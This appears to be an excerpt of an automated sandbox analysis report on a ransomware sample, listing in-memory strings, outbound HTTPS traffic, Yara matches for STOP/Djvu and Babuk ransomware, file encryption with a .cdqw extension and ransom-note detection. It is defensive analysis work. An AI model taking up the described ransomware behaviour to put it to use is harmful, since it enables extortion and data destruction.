Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2321037437.0000000002F79000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275123419.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275123419.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2319484923.0000000002F96000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.0000000000640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-99MNqXMrdS
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.000000000065B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-99MNqXMre=
Source: build2.exe, 00000008.00000003.1824602639.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49756 version: TLS 1.2

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7532, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 3.2.sbvN2ih5AU.exe.26b15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.sbvN2ih5AU.exe.25e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sbvN2ih5AU.exe.26215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sbvN2ih5AU.exe.26f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sbvN2ih5AU.exe.27e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sbvN2ih5AU.exe PID: 8080, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File moved: C:\Users\user\Desktop\KATAXZVCPS.jpg	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File deleted: C:\Users\user\Desktop\KATAXZVCPS.jpg	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File moved: C:\Users\user\Desktop\VLZDGUKUTZ.docx	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File deleted: C:\Users\user\Desktop\VLZDGUKUTZ.docx	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File moved: C:\Users\user\Desktop\CURQNKVOIX.mp3	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99426249147	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm entropy: 7.9905299406	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99821379625	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99836904049	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99799474172	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99827912684	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99607760952	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99871123001	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99611174271	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133493717534088190.txt entropy: 7.99824088518	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945550119236.txt entropy: 7.99839092169	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99850107394	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99835359445	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99857780062	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99858447168	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99705122721	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99256305489	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99717384846	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99608869365	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma entropy: 7.99022905344	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99164106646	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.99868924336	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99442275402	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session entropy: 7.99068482144	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99312719391	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99165939251	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99304521382	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db entropy: 7.99820973718	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db entropy: 7.99794775849	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db entropy: 7.99717388925	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db entropy: 7.99765416308	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99327840634	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99741963703	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99865023667	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99390749906	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.9979318765	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99829241153	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4e1bbf13-af24-432a-ba27-bf0691e09659}\Apps.ft entropy: 7.99592144162	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4e1bbf13-af24-432a-ba27-bf0691e09659}\0.0.filtertrie.intermediate.txt entropy: 7.99423786072	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft entropy: 7.99634881574	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt entropy: 7.99446338082	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9f722c99-bd7b-4266-8623-d49517e10886}\Apps.ft entropy: 7.99663898556	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9f722c99-bd7b-4266-8623-d49517e10886}\0.0.filtertrie.intermediate.txt entropy: 7.99529173309	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.99812616541	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt entropy: 7.99596339706	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99319864728	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.cdqw (copy) entropy: 7.99256305489	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.cdqw (copy) entropy: 7.99717384846	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.cdqw (copy) entropy: 7.99608869365	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.cdqw (copy) entropy: 7.99022905344	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.cdqw (copy) entropy: 7.99164106646	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.cdqw (copy) entropy: 7.99868924336	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.cdqw (copy) entropy: 7.99442275402	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.cdqw (copy) entropy: 7.99068482144	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.cdqw (copy) entropy: 7.99312719391	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.cdqw (copy) entropy: 7.99165939251	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.cdqw (copy) entropy: 7.99304521382	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.cdqw (copy) entropy: 7.99820973718	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.cdqw (copy) entropy: 7.99794775849	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.cdqw (copy) entropy: 7.99717388925	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.cdqw (copy) entropy: 7.99765416308	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.cdqw (copy) entropy: 7.99319864728	Jump to dropped file
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 entropy: 7.99553172716	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
